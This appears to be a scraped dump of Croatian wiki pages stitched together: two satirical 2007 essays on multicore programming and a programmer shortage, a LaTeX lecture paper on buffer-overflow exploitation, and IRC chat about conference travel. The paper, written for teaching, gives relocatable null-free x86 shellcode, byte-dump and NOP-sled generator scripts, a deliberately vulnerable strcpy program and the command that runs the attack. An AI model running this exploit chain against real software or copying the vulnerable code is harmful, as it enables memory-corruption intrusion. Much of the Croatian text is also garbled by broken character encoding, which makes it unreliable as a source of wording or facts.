Sigurno su i do vas stigle vijesti koje veฤ‡ neko vrijeme ลกire razni promotori i evanฤ‘elisti o nadolazeฤ‡oj softverskoj revoluciji izazvanoj prelaskom proizvoฤ‘aฤa procesora na multicore arhitekture. Naime nakon par godina lutanja i razbijenih glava pri pokuลกaju probijanja 'zidova' (od kojih su neki ozbiljno pridonijeli globalnom zatopljenju), proizvoฤ‘aฤi mikroprocesora su odluฤili da im je dosta i neka sad malo programeri razbijaju glave. A programeri kao programeri, veฤ‡ krvavih ฤela i plavih podoฤnjaka, nakon ลกto su prouฤili 1023 skriptna jezika i onda se vratili na  php i javascript, nakon ลกto su im nezahvalni korisnici prigovorili da im je GUI kojeg vrte virtualne maลกine malo spor, odluฤili su stvar ignorirati i uฤ‡i u potpuni 'denial'  mod. Menageri u industriji ili nemaju blage ideje ลกto se dogaฤ‘a ili su potpuno konsternirani svjesni troลกkova i muka koje ih ฤekaju u procesu prilagodbe na paralelne arhitekture.

 

Nije za zamjeriti braฤ‡i i sestrama programerima na zapadu. Outsourcing i bijeg poslova na istok, dotcom  katastrofa i bijeg kapitala tko zna gdje, otkazi i u najbolju ruku stagnacija plaฤ‡a uzdrmali su duh mnogih. Stalne manje-viลกe laลพne revolucije i inovacije, hype do hype-a tehnologija koje pretendiraju rijeลกiti sve razvojne probleme (zbog kojih se istinska poboljลกanja ni ne vide) dodatno su pogorลกale stvar. Malo po malo, prvo usmenom predajom a onda i javno na internetu, ลกiri se glas koliko je programiranje kruh sa sedam kora. I vidi vraga, 2006. godine u USA je samo 7500 ljudi upisalo Computer Science, dvostruko manje nego u zlatnim godinama. Bill Gates se nedavno gotovo  rasplakao pred US kongresom traลพeฤ‡i poveฤ‡avanje kvota za Hb1 vize koje uglavnom dobivaju informatiฤari (trenutno 65000 godiลกnje, nekad 190000) i predloลพio potpunu reformu useljeniฤkih zakona vezanih za obrazovanu radnu snagu. U Europskoj nam uniji joลก gora situacija, iz Njemaฤka veฤ‡ duลพe vrijeme znaฤajan broj najboljih informatiฤara i znanstvenika bjeลพi u USA ili joลก dalje. Izgleda da su iscrpljeni i razoฤarani oฤevi programeri poฤeli sinovima i kฤ‡erima govoriti da upiลกu pravo, ekonomiju ili mambo-jumbo fakultete tipa life science (to je navodno 'next big thing').

 

A aลพdaja paralelnog programiranja se probudila. Thread-ovi, brave, monitori, semafori&#8230; aลพdaji se ne mogu ni pribliลพiti. Transakcijska memorija, aktivni objekti i poruke je moลพda mogu poฤeลกati iza uha. Evanฤ‘elisti naravno govore kako je tu velika prilika, kaลพu teลกko je ali promijenit ฤ‡emo svijet. Pioniri iz 50-tih i 60-tih godina koji su izmislili 99% tehnologija koje se danas koriste su niลกta prema vama koji ฤ‡ete osmisliti stvari zbog kojih ฤ‡e ljudi ลพivjeti 1000 godina bez bolesti, napraviti ฤ‡ete intergalaktiฤki svemirski brod i potpuno kontrolirati klimu. A za nagradu ฤ‡ete dobiti besplatni energetski napitak. Znate veฤ‡ foru, doฤ‘e pametni klinac s faksa a vi mu kaลพete 'ovo je jako teลพak i zanimljiv problem, baลก me zanima jesi ga sposoban rijeลกiti'. Jedan od deset klinaca rijeลกi problem a vi lijepo opalite softverski patent koji ฤ‡e vam trebati u hladnom ratu patentima sa mrskom vam konkurencijom. Onih preostalih devet poลกaljete na test, prodaju i podrลกku korisnicima.

 

Malo je nezgodno ลกto klinci ne mogu ubiti ovu aลพdaju, nisu dovoljno obrazovani i nema ih dovoljno. Na fakultetima uฤe python, javu i c#. Funkcionalno i konkurentno programiranje prije 5 godina ja bilo 'so out'. OK, ne mogu klinci ali imamo one ฤudne likove iz HPC (High Performance Computing) zajednice, idemo vidjeti ลกto su oni osmislili na svojim Cray i blueGene maลกinama. Oops, pa oni programiraju u paralelnom Fortran-u  i C-u, message passing interface ima 500 funkcija i kod za njega izgleda gore nego goto ลกpagete.  Kad doฤ‘e novi stroj ili arhitektura kljuฤne dijelove moraju pisati nanovo. Programi se loลกe skaliraju. Teลกko im je preslikati probleme iz stvarnog svijeta pomoฤ‡u uzoraka koje su dosad osmislili.

Ali postoje tri nova HPC jezika koje financira DARPA (X10, Fortress, Chapel) i razvijaju ih najbolji ljudi IBM, SUN-a i Cray-a oni ฤ‡e sigurnu rijeลกiti problem. Neฤ‡e iฤ‡i, 5 godina poslije imaju samo draft-ove jezika i veฤ‡ su zastarjeli, o pisanju compilera i razvojnih alata ni ne razmiลกljaju.

 

Nema veze, kad je revolucija onda se osniva veliki broj start-up koji nose inovacije. Sigurno ฤ‡e mali ekspertni timovi u meฤ‘usobnoj konkurencije iznijeti teret. Opet niลกta. Nema riziฤnog kapitala koji bi bio spreman investirati. Zbog politike softverskih patenata svi oni koji i umiju neลกto napraviti ฤ‡e postati patent trolovi i neฤ‡e iฤ‡i u razvoj stvarnih produkata.

 

Open source zajednica moลพda ? Pa nisu ni tamo programeri viลกe ludi da rade kao konji a drugi stjeฤu milijarde na njihovoj muci.

 

Indijci ? Moลพda za jedno 50 godina, to ฤ‡e ostaviti za kraj kad preuzmu sav drugi software.

 

Miscrosoft ? Kako da ne, nakon 6 godina razvoja Viste 50% najboljih programera im je otiลกlo u mirovinu a 50% doลพivjelo nervni slom. A trebat ฤ‡e smisliti potpuno novu paradigmu operacijskih sustava. Zapravo da neลกto ozbiljno naprave vezano za development po dobrom starom obiฤaju ฤ‡e zadrลพati za sebe. E da je bar Sir Tony Hoare 30 godina mlaฤ‘i.

 

Google ? Njima tek nije u interesu da desktop i peer-to-peer mreลพe opet zaลพive. Njihove farme servera nastavljaju rasti eksponencijalno, imaju svoj mapReduce i savrลกeno su sretni razvojem situacije.

 

Ljudi iz industrije igara koji su odgovorni za veฤ‡inu stvarnih inovacija na desktopu zadnjih 10 godina ฤ‡e iskoristiti quadcore arhitekturu low-level threadingom zbog funkcionalne dekompozicije na AI, fiziku i grafiku, onda ฤ‡e i oni pokleknuti.

 

Uf, izglede da bi se stvarno moglo sve sruลกiti tamo daleko na zapadu. Nama ovdje koje se sve to ionako ne dotikavle previลกe ostaje ลกiriti defetizam i gledati jel se moลพe ลกta sitno uลกiฤ‡ariti.

 






----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/MaliM/Hoฤ‡eLiMulticoreRevolucijaIzazvatiUruลกavanjeSoftverskogEkoSustava> {date: 2007-05-18 14:09:09 +0200}
* Nema programera u Hrvatskoj, moลพda su u ลกumi *

Bio je pravi uลพitak gledati vijesti s ovogodiลกnjih Windays u kojima su glavne perjanice hrvatskog ITC sektora (kako to gordo zvuฤi) kukale i naricale (bitching and moaning) zbog nedostatke kvalitetne radne snage. Nabacivalo se brojkama tipa fali 2000 struฤnjaka a za 5 godina ฤ‡e ih faliti milion i sliฤne gluposti koje veฤ‡ predugo sluลกamo. Uvijek s istim apsolutnim brojkama i uvijek istim prijedlozima rjeลกenja po dobro utabanom putu eminentnih gospodarskih stratega koji veฤ‡ 20 godina trkeljaju gluposti i zagaฤ‘uju medijski prostor. Oni koji su u rovovima i prvim redovima znaju da je veฤ‡a vjerojatnost dobiti na bingu nego zaposliti kvalitetnog ฤovjeka u zadnjih godinu dana. Samo potpuna budala nije iskoristila situacija i poveฤ‡ala sebi plaฤ‡u za 30% ili drลพala poziciju radeฤ‡i sa 5% kapaciteta. Takva situacija se naravno ne sviฤ‘a tamaniteljima kanapea po domjencima pa su odluฤili zaลกprehati medije i prestraลกiti milu nam vladu. Ekipa uhljebljena u Microsoft-u je najzabrinutija. Jako su  pesimistiฤni, idu tako daleko u prognozama da ฤ‡e zbog loลกe situacije cijelo gospodarstvo usporiti. Idemo vidjeti ลกto se zapravo dogaฤ‘a i kome zvone zvona.

 

Veฤ‡ neko vrijeme znaฤajnom broju poduzeฤ‡a u razliฤitim podruฤjima krenulo je jako dobro, rastu profiti, cijene dionica na burzi joลก brลพe rastu, dogaฤ‘aju se velika preuzimanja. Svi vrte sa dionicama i svi se misle obogatiti. Nekako su doznali da ulaganje u IT infrastrukturu, koju btw tete iz birokracije ne znaju koristiti, na papiru znaฤajno poveฤ‡ava vrijednost firme. Zadnji  primjer je uvoฤ‘enje SAP-a u lokalnog energetskog diva koji se ludo informatizira ali joลก proizvodi malo ลกporkiju naftu. Taj rast i optimizam zbog sada veฤ‡ sigurnog ulaska u EU doveo je do potraลพnje i poveฤ‡anja plaฤ‡a svima koji imaju bilo kakvo znanje.

 

Najednom su se oni u ฤijem je poslovnom modelu dominiralo preprodavanje cijene programerskog sata naruฤiteljima iz inozemstva naลกli u nezgodnoj situaciji. S jedne strane im ljudi bjeลพe raditi za masne plaฤ‡e u firme koje nemaju veze sa IT-om a sa druge im se gazde i naruฤitelji prijete Srbijom i Indijom. Imaju joลก maksimalno dvije, tri godine za restruktuiranje jer ฤ‡e onda joลก 50% radne snage pobjeฤ‡i danom ulaska u EU. Veliki, Ericsson N.T. i Siemens PSE,  koji zapoลกljavaju skoro 2000 ljudi u razvoju i testu  to dobro znaju i poฤinju konkurirati na lokalnim poslovima grabeฤ‡i sve veฤ‡i dio kolaฤa. Mali problem ฤ‡e nastati kad se vidi brojke koliko uvoze a koliko izvoze ali PR-ovci ฤ‡e to veฤ‡ nekako rijeลกiti. Ericsson je tu u izvrsnoj poziciji zbog stabilnog istoฤnoevropskog trลพiลกta, izvrsne povezanosti s FER-om i kao moลพda najvaลพnije dioniฤko je druลกtvo s velikim brojem dionica na trลพiลกtu koje su poฤeli dijeliti mlaฤ‘im zaposlenicima. Siemens PSE je pretrpio knock-down  zbog udruลพivanja s Nokiom i vrijeme ฤ‡e pokazati hoฤ‡e li se uspjeti oporaviti ali baลก zbog toga sigurno ฤ‡e agresivnije krenuti na lokalno trลพiลกte. I eto ti neลพeljene konkurencije dosadaลกnjim ribiฤima u lokalnoj mutnoj baruลกtini.

 

Eh, lijepo li je bilo ลพivjeti na sistem-integratorskim i clipper-based poslovima dobivenim devedesetih. Steklo se i jedrilica i auta viลกe srednje klase (jer zna se tko kupuje motorne jahte i ferarije). Slalo se ljude da polaลพu potpuno nepotrebne certifikate koji su u ozbiljnom svijetu anti-referenca. Isplaฤ‡ivalo se plaฤ‡e na crno. Druลพilo se na konferencijama i domjencima. Pisalo se po struฤnim ฤasopisima. Nakon 15 godina poslovanja prosjeฤno imaju 8 zaposlenih a ekonomska snaga im je na razini kartela kumica na placu koje drลพe zajedniฤki stol. Da se bar jedan sjetio manevra tipa Luka Rajiฤ‡ (ili je to ipak bio ล kegro) sad bi imali i oni 200 milijuna Eura. Tako to ide u ลพivotu, ลกofer da vlast onima koji znaju i ovi mu zarade milijarde. Inลพenjeri sa vezama zarade par miliona, ne znaju ili neฤ‡e uloลพiti u ozbiljan razvoj i onda kukaju kad ne mogu viลกe zaraฤ‘ivati na tuฤ‘oj grbaฤi. Ne vidim ลกto se loลกe moลพe dogoditi ako propadnu ili jednostavno prestanu s radom kad se veฤ‡ nisu uspjeli udruลพiti i pokupiti novac bilo IPO-om bilo prodajom ozbiljnijim igraฤima. U svakom sluฤaju ubuduฤ‡e ฤ‡e veฤ‡i dio dodane vrijednosti otiฤ‡i na plaฤ‡e i razvoj a ne na kupovanje nekretnina kao ลกto je to bilo dosad.

 

Moลพemo se samo nadati da pritisak koji se trenutno vrลกi neฤ‡e rezultirati dramatiฤnim smanjivanjem kvalitete na obrazovnim institucijama poput FER-a. ฤŒak ลกto viลกe mislim da bi trebalo izvrลกiti kontraudar i prestati producirati ljude po narudลพbi te doslovce prepisati program MIT-a ili Carnegie Melona. To ลกto ฤ‡e neki od najboljih ลกkolovani po takvim programima moฤ‡i otiฤ‡i vani moลพe biti samo dobra vijest. Industrija ako hoฤ‡e ljude po njihovoj mjeri neka plate ozbiljno ลกkolovanje na viลกim ลกkolama ili neka izaฤ‘u iz posla. Dosad su uลพivali blagodati obrazovane i potplaฤ‡ene radne snage pa nisu napravili niลกta znaฤajno.

 

Ako ฤ‡emo biti pravi neoliberali rast plaฤ‡a znaฤi da ฤ‡e sve veฤ‡i broj ljudi upisivati fakultete i obrazovati se, komลกije ฤ‡e kucati na vrata te tako poveฤ‡ati stranu ponude. Ipak je i hi-tech radna snaga samo roba i njena cijena ฤ‡e se kad tad uravnoteลพiti (na jedno 3-4000 Eura neto). Ako nam stanovi u velikim gradovima mogu biti skuplji od onih u Beฤu ili Berlinu i cijene dionica obarati sve rekorde zaลกto bi IT plaฤ‡e zaostajale. Naravno neฤ‡e to vjeฤno trajati, kad se uspori rast prvo ฤ‡e se sjetiti popravljati PE omjere rezanjem troลกkova skupe radne snage, onda ฤ‡e zbog toga izgubiti trลพiลกnu poziciju  i sve ฤ‡e se sruลกiti u stilu 1929. Ali oni koji znaju neฤ‡e previลกe brinuti jer ฤ‡e imati tvrdu lovu na raฤunu pa ฤ‡e lako napraviti hop pa u Australiju, Kanadu, Kinu ili pisati open source u hladu kuฤ‡erka na Hvaru. O globalizacijo lijepa li si.

 

Na moju veliku ลพalost ovaj ugodni scenarij se vjerojatno neฤ‡e ostvariti. Pravi programeri i oni koji znaju ne ลพele raditi prilagodbu software svjetskih monopolista lokalnim kapitalistima. Oni ลพele napraviti novi Skype. A koliฤina posla i zastraลกujuฤ‡i nedostatak pameti na globalnoj razini koje ฤ‡e donijeti multicore revolucija i Internet N.0 ฤ‡e im otvoriti put.












----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/MaliM/NemaProgrameraUHrvatskoj> {date: 2007-05-18 14:08:25 +0200}
[NemaProgrameraUHrvatskoj] ... moลพda su u ลกumi

[Hoฤ‡eLiMulticoreRevolucijaIzazvatiUruลกavanjeSoftverskogEkoSustava]







----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/MaliM> {date: 2007-05-18 13:58:16 +0200}
attachment:conf_paper.pdf ili 
kompajlirate sa pdflatex conf.tex


.pre
%conf.tex
\documentclass[a4paper, 10pt]{article}
\usepackage[croatian]{babel}
\author{Alan Pavi\v{c}i\'{c}\\ \textsf{akapav@gmail.com}}
\title{Buffer overflow}
\setlength{\parindent}{0pt}
\setlength{\parskip}{1ex plus 0.5ex minus 0.2ex}
\addtolength{\hoffset}{-1cm}
\begin{document}
\maketitle
\vspace{1cm}

U ovom papiru \'{c}emo pokazati osnovne tehnike {\it buffer overflow
exploita}. S obzirom da je papir prate\'{c}i materijal uz predavanje na
istu temu, izostavit \'{c}emo uvod u x86 asembler i {\it calling
convencije} o kojima \'{c}e biti rije\v{c}i u \v{z}ivo

Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na
{\it stacku} za nekakve korisni\v{c}ke podatke, te da u nju upi\v{s}u
vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi
{\it return aresa}, podatak koji se tako\dj{}er nalazi na stacku i
slu\v{z}i da bi funkcije znale odakle su pozvane te kuda se moraju
vratiti. Umjesto originalne return adrese podme\'{c}e se neka druga,
na kojoj le\v{z}i uba\v{c}eni kod nakon \v{c}ega se mo\v{z}e
izvr\v{s}iti proizvoljna akcija sa pod istim onim ovlastima koje je
imao i vlasnik napadnutog programa

Akcija koju \'{c}emo mi izvr\v{s}avati prilikom ovog eksperimenta je
varijacija na temu popularnog hello worlda

Po\v{c}eti \'{c}emo sa vrlo malim hello world programom koji je
napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko
sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske
pozive radimo sa staromodnim $int$ $0x80$ umijesto pomo\'{c}u mnogo
br\v{z}eg $sysenter$a)

Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo
manje i neovisnije programe koji \'{c}e se lak\v{s}e mo\'{c}i
izvr\v{s}avati na nepoznatim ra\v{c}unalima

\begin{verbatim}
int main(void)
{
  __asm__ (" \
            movl $3, %edx;       \
            movl $LBL, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        .ascii \"aka\";      \
");
}
\end{verbatim}

Iako malen i jednostavan. prethodni program ima ozboljan problem -- naime
u liniji $movl LBL, \%ecx$ baratamo sa apsolutnom adresom, te
ovakav komad koda se ne mo\v{z}e izvr\v{s}avati na proizvoljnim
memorijskim lokacijama. Zbog toga isti program jo\v{s} jednom
prepisujemo, ali umjesto apsolutnog $movl$a, korisitmo relativne $jmp$
i $call$. Obratite pa\v{z}nju da se $call$ koristi za dohvat adrese
na kojoj se nalazi string
  
\begin{verbatim}
int main(void)
{
  __asm__ (" \
            jmp LBL;             \
GO:         pop %esi;            \
            movl $3, %edx;       \
            movl %esi, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \"akb\";      \
");
}
\end{verbatim}

Sad imamo rade\'{c}u {\it relokatibilnu} rutinu. Sljede\'{c}i korak je
izbaciti sve nule koje se nalaze u binarnom kodu napisanog
programa. Naime, s obzirom da \'{c}emo koristiti $strcpy$ funkciju za
ubacivanje na\v{s}eg bloka byteova, moramo se osigurati da kopiranje
ne stane prije nego smo planirali. Klasi\v{c}na tehnika punjenja neke
vrijednosti sa nula je da se ta vrijednost jednostavno $xor$a sa samom
sobom. Program izgleda malo slo\v{z}enije, ali je i poprimio svoj
kona\v{c}ni oblik

\begin{verbatim}
int main(void)
{
  __asm__ (" \
            jmp LBL;             \
GO:         pop %esi;            \
            xor %edx, %edx;      \
            movb $3, %dl;        \
            movl %esi, %ecx;     \
            xor %ebx, %ebx;      \
            movb $1, %bl;        \
            xor %eax, %eax;      \
            movb $4, %al;        \
            int $0x80;           \
            xor %eax, %eax;      \
            movb $1, %al;        \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \"akc\";      \
");
\end{verbatim}

U datoteci {\it prog1.py} \'{c}emo jo\v{s} jednom napisati isti
program, samo umjesto standardnih simbola za asemblerske instrukcije,
koristimo numeri\v{c}ke vrijednosti spremljeno u jedno $python$
polje. Do samih vriednosti smo do\v{s}li koriste\'{c}i program
$objdump$

\begin{verbatim}
seq = [
    0xeb, 0x17,       #jmp    LBL
    #GO:
    0x5e,             #pop %esi
    0x31, 0xd2,       #xor %edx,%edx
    0xb2, 0x03,       #mov $0x3,%dl
    0x89, 0xf1,       #mov %esi,%ecx
    0x31, 0xdb,       #xor %ebx,%ebx
    0xb3, 0x01,       #mov $0x1,%bl
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x04,       #mov $0x4,%al
    0xcd, 0x80,       #int $0x80
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x01,       #mov $0x1,%al
    0xcd, 0x80,       #int $0x80
    #LBL:
    0xe8, 0xe4, 0xff, 0xff, 0xff, #callq  GO
    0x61, 0x6b, 0x64
    ]
\end{verbatim}

{\it bindump.py} je program koji kao argument prima ime datoteke poput
prethodne, a generira binarni file na standardnom outputu (npr:
$python.py prog1$ gdje je $prog1$ ime prethodne datoteke)

\begin{verbatim}
#!/usr/bin/python -u

import array
import sys
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

mdl = __import__(sys.argv[1])

arr = array.array("B")
arr.fromlist(mdl.seq);
arr.tofile(sys.stdout)
\end{verbatim}

Da bismo se uvjerili da sve do sada radi, pokrenimo sljede\'{c}i
program\v{c}i\'{c} i na standardni ulaz mu treba dati izlaz iz
$bindump.py$. Ukoliko je sve u redu, program \'{c}e dobivene byteove
spremiti na heap, te \'{c}e ih izvr\v{s}iti kao da su regularna
funkcija

\begin{verbatim}
#include <stdio.h>
#include <stdlib.h>

unsigned char* read_stream(FILE *fp)
{
  static const size_t block_size = 1024;
  unsigned char* buff = NULL;
  int cnt = 0;
  do {
    buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size);
    fread(buff + cnt++ * block_size, block_size, 1, fp);
  } while(!feof(fp));
  return buff;
}

int main(void)
{
  typedef void(*fun_t)(void);
  unsigned char *buff = read_stream(stdin);
  ((fun_t)(buff))();
  free(buff);
  return 0;
}
\end{verbatim}

Evo i "\v{z}rtve". Ovaj program \'{c}emo izvrgnuti napadu. Iako ovako
u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog
buffera u ne\v{st}o manji se jo\v{s} uvijek mo\v{z}e na\'{c} i u
stvarnom svijetu_

\begin{verbatim}
#include <stdio.h>
#include <string.h>

void broken_fun(const char* src)
{
  char dst[256];
  printf("len: %d\n", strlen(src));
  printf("%x\n", dst);
  strcpy(dst, src);
}

int main(void)
{
  char buff[512];
  fgets(buff, 512, stdin);
  broken_fun(buff);
  return 0;
}
\end{verbatim}

{\it seqgen.py} je jo\v{s} jedan pomo\'{c}ni program\v{c}i\'{c}. S
obzirom da prilikom poku\v{s}aja ubacivanja na\v{s}eg koda u tu\dj{}i
program nismo uvijek to\v{c}no sigurni gdje se nalazi po\v{c}etak memorije
u koju se useljavamo ili gdje se nalazi return adresa koju treba
promjeniti, ovaj program nam generira na osnovu pravih_ bytova
koje \'{c}emo upotrebiti za exploit novu datoteku u kojoj se na
po\v{c}etku nalazi proizvoljan broj $nop$ instrukcija, a na kraju isto
tako proizvoljan broj return adresa. Sada nam poga\dj{}anje_ izgleda
puno lak\v{s}e

\begin{verbatim}
 #!/usr/bin/python -u

import sys
import array
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

arr = array.array("B")
arr.fromlist([0x90 for _ in range(int(sys.argv[1]))]);
arr.tofile(sys.stdout)

sys.stdout.write(sys.stdin.read())

arr = array.array("L")
arr.fromlist([int(sys.argv[2], 16) for _ in range(int(sys.argv[3]))])
arr.append(0x0a0a0a0a)
arr.tofile(sys.stdout)
\end{verbatim}

Kao ulazne argumente skripta uzima 3 broja -- broj $nop$ova prije rutine
za napad, vrijednost nove return adrese te koliko puta \'{c}emo tu
adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i
samo je prepisuje na izlaz

Ukoliko program \v{z}rtvu_ iskompajliramo sa
\begin{verbatim}
gcc ovfl.c -O -g -o ovfl
\end{verbatim}
pokretanje napada se moze napraviti sa npr. 
\begin{verbatim}
./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl
\end{verbatim}
Ukoliko ne pro\dj{}e iz prve, return adresu treba na\v{s}timati tako
da bude ne\v{s}to ve\'{c}a nego po\v{c}etak bufera (broj koji se
ispisuje iz $ovfl$ programa)

Ako vam je eksperiment uspio zna\v{c}i da nemate dobro pode\v{s}en
sustav, te kao root otkucajte
\begin{verbatim}
echo 1 > /proc/sys/kernel/randomize_va_space
\end{verbatim}
i eksperiment sada ponovite ;)

\end{document}
.pre




----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/BufferOverflow> {date: 2007-05-11 12:10:42 +0200}
ma sto je ovo

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/ZeljKoKaCarnetYoGaDomaci> {date: 2007-05-07 22:18:08 +0200}
* Now talking in #razmjenavjestina
* Topic is 'www.razmjenavjestina.org -- http://mjesec.ffzg.hr:8000/'
* Set by dpavlin on Sat Mar 03 23:12:37
<drGspot> htjedoh spojit 2 dubrovchanke al bizzar nije tu...
<igor_> libervisco: hvala puno.
<libervisco> np :)
<igor_> jel si ti rezervirao let i smjestaj?
<libervisco> nisam jos.. samo se raspitujem
<libervisco> nisam jos siguran tocno kad je najbolje, program je jos uvjek u draft fazi
<libervisco> http://icommons.org/isummit-07/draft-programme/
<igor_> mi moram rezervisat u ponedeljak kako bi mogil da uzmemo karte za avion za 200 eur.
<libervisco> ako je ovako onda je najbolje doci prije 8 u jutro na 14. Lipanj.
<libervisco> za koje vrijeme ce te vi rezervirati?
<libervisco> 14 u jutro ili prije?
<igor_> jos ne znamo kada je prvi let za Dubrovnik i Skoplja
<igor_> ali zelimo biti tamu na 14-tog...
<drGspot> (ova Dubrovcanka "7of9" slusha nas hackere preko irc-logera) :-)
<libervisco> :)
<libervisco> Zna tko koliko kosta bus od Zagreba do Dubrovnika? Nemrem naci cijene nigdje na webu..
* misa has joined #razmjenavjestina
* misa has quit IRC (Remote closed the connection)
* misa has joined #razmjenavjestina
<igor_> a kolku traje put busom od ZG do DU?
<drGspot> u vrijeme rata preko Paga 17 sati
<drGspot> no sad ima most i autocesta Dalmatina...
<libervisco> pitam jer se jedan frend iz nizozemske raspituje, a i mene zanima...
<libervisco> ako je puno jeftinije od aviona mozda nebi bilo lose..
<drGspot> evo vele moji Zg-Split 5 sati...
<drGspot> ..neka brza linija
<drGspot> ..i onda 4 sata od St do Du
<libervisco> koliko otprilike to kosta?
<drGspot> http://www.akz.hr/
<drGspot> sad chu vidit
* misa__ has quit IRC (Read error: 113 (No route to host))
<libervisco> ah nisam znao za taj site.. znaci oko 180 do 200kn
<libervisco> pa skoro isto kao avion sa Croatia Airlines
FlyPromo :)
<drGspot> http://www.akz.hr/voznired/(S(1c4px455dqtb03irxjzhe22o))/voznired.aspx
<igor_> libervisco: koliko je to u eurima?
<libervisco> evo samo malo
<drGspot> s tim da nema datum za 6. mjesec...
<libervisco> 200.00 hrk = 27.02 eur
<libervisco> veli bot :)
<libervisco> hmm
<libervisco> a valjda se nebi trebalo previse mjenjat
<libervisco> no ako je cijena ista kao i avion, bolje ici avionom
<drGspot> da uzeo sam petak, al zapravo treba krenut dan ranije...(iskustvo sa LinKonfa Portoroz, IBM Linux 4um Umag itd)
<drGspot> ko se ne boji prvat po ariji...:-)
<igor_> iz zagreba avionom za Dubrovnika je 30 eura?!?
<igor_> libervisco: super! A kad treba da se rezervise avion?
<libervisco> da, samo FlyPromo i to samo ako ideฤนห‡ u 6:20 u jutro, inace je 256kn
<libervisco> ne piฤนห‡e kad.. predpostavljam ฤนห‡to prije to bolje :)
<libervisco> to je na https://www.croatiaairlines.com/
<drGspot> bash gledam nisu zakupili bez www...kako nePoslovno
<misa> libervisco: jel to uklucuje aerodromske takse i sl... i ovo - 30 eur je pretpostavljam u jednom smijeru?
<libervisco> veli da ukljucuje pristojbe i Ticket Service Charge, i da jedan smjer
<libervisco> no cak i da je malo skuplje mislim da se isplati zbog vremena..
<libervisco> vazno da nije duplo :)
<drGspot> a pazi program Icommonsa...koktel dobrodoshlice na krovu Revelina..:-)
<libervisco> hehe
<drGspot> ovo je jache od Gibonni-ja i Eni u Umagu (ibm 4um)
<misa> igor_: to je ta cijena... ako uklucis let iz skoplja za zagreb - dobijas 200 eur
<drGspot> i vatrometa nakon gala vechere...
<drGspot> razmishlja kako bi spojio bizzarGirl i 7of9 girl i startao DuLinux...
* pae has joined #razmjenavjestina
* seven_of_nine has joined #razmjenavjestina
<seven_of_nine> bojk
<drGspot> jupiiii
<drGspot> ova cura je strashna :-)
<seven_of_nine> nisam
<drGspot> ushi su mi sve vruche---power to the linux chix
<seven_of_nine> nego nemogu margine prosirit da vidim  ko je u sobi
<seven_of_nine>  vidin  pola slova prvog
<drGspot> manje vishe standardna ekipa
<drGspot> razvuci prozor
<seven_of_nine> nee
<seven_of_nine>  siri s chat porstr al ne i popis chatera
<drGspot> na freenode-u ima oko 3ooo kanala (soba)
<drGspot> idemo do rijecana
<drGspot> kosa crta join #rilinux
* pae has quit IRC ("Leaving")
* seven_of_nine has quit IRC ("Leaving")

----
---
----
* Now talking in #rilinux
* Topic is 'http://ri.linux.vg/ - logovi i statistika | http://hr.open-tran.eu/  posluzite se | there's no place like CXXVII.0.0.I'
* Set by `h3x on Fri Apr 06 18:05:40
* seven_of_nine has joined #rilinux
<seven_of_nine> efo me
<drGspot> eto nas na sjevernom jadranu...vecer svima
<seven_of_nine>  isto sse unose comandovi ko u wowu
<seven_of_nine> isto
<drGspot> jep...dosta je povuceno iz teleprintera u IRC, pa poslje u javaChateve i igre
<seven_of_nine> igras ti wowa
<drGspot> nep..to strategija, mud ?
<seven_of_nine> pvprlp
<seven_of_nine>  world of warcraft
<seven_of_nine>  moro si cut
<drGspot> aa jesam ..mi smo ipak amiga korijena
* libervisco has joined #rilinux
<drGspot> eto nam putnika za du..:-)
<drGspot> 34o kn povratna lib
<seven_of_nine> nest tako
<seven_of_nine>  al podji na  starnicu od ap  lika
<seven_of_nine>  oni su jefitniji
<seven_of_nine>  i brzi
<drGspot> eto 7of9 za tjedan dana dizhesh server sa DuLinux :-)
<seven_of_nine> lol
<drGspot> naravno to podrazumjeva instalaciju PolarOS-a na komp
<seven_of_nine> ajoj
<seven_of_nine>  komp mi se raspada
<seven_of_nine>  ni wpm neznam popravit
<seven_of_nine>  tj znam ma  mi se neda
<drGspot> full backup / clean install
<drGspot> multiboot tipa
<seven_of_nine> nemijem ni windowse reinstalirat
<seven_of_nine>  jer mi caji kopaju po kompu
<drGspot> ma podatke na CD DVD, reParticionirash, i gore napred vinblou$e iza Pingvine i to je to
<drGspot> nove distre imaju i javu pa che ti radit javaChat-evi
<seven_of_nine>  ma necu se peglat
<seven_of_nine>  ckeat cu jos par tjednana da zavrse da mi se 
maknu iz doma pa cu onda
<drGspot> imash kakav LiveCD iz chasopisa
<seven_of_nine>  sto mislis
<drGspot> linux...knoppix, suse, ubuntu,...?
<seven_of_nine> mislim da nemam
<seven_of_nine> i ako imam to je staro iz doma hackera
<drGspot> to ti obicno izidje u mrezi, pc chipu, i sl
<seven_of_nine>  to sam kuovala
<seven_of_nine> i pc play prije
<libervisco> seven_of_nine, ap lika?
<seven_of_nine> da
<seven_of_nine> ili autoprijevo
<seven_of_nine> al mislim da je ap lika
<seven_of_nine>  il pdoji na  strance dubrovackog kolodvora
<seven_of_nine>  ili zg
<libervisco> ok, hvala
<seven_of_nine> n.p.
<drGspot> da sam bar ostavio godishnjeg i love za icommons
<libervisco> iako neznam koliko je na kraju to stvarno bolje od aviona, ak je avion samo 30 EURa vise manje..
* pae has quit IRC ("Leaving")
<seven_of_nine> u kojem ce te hotelu bit
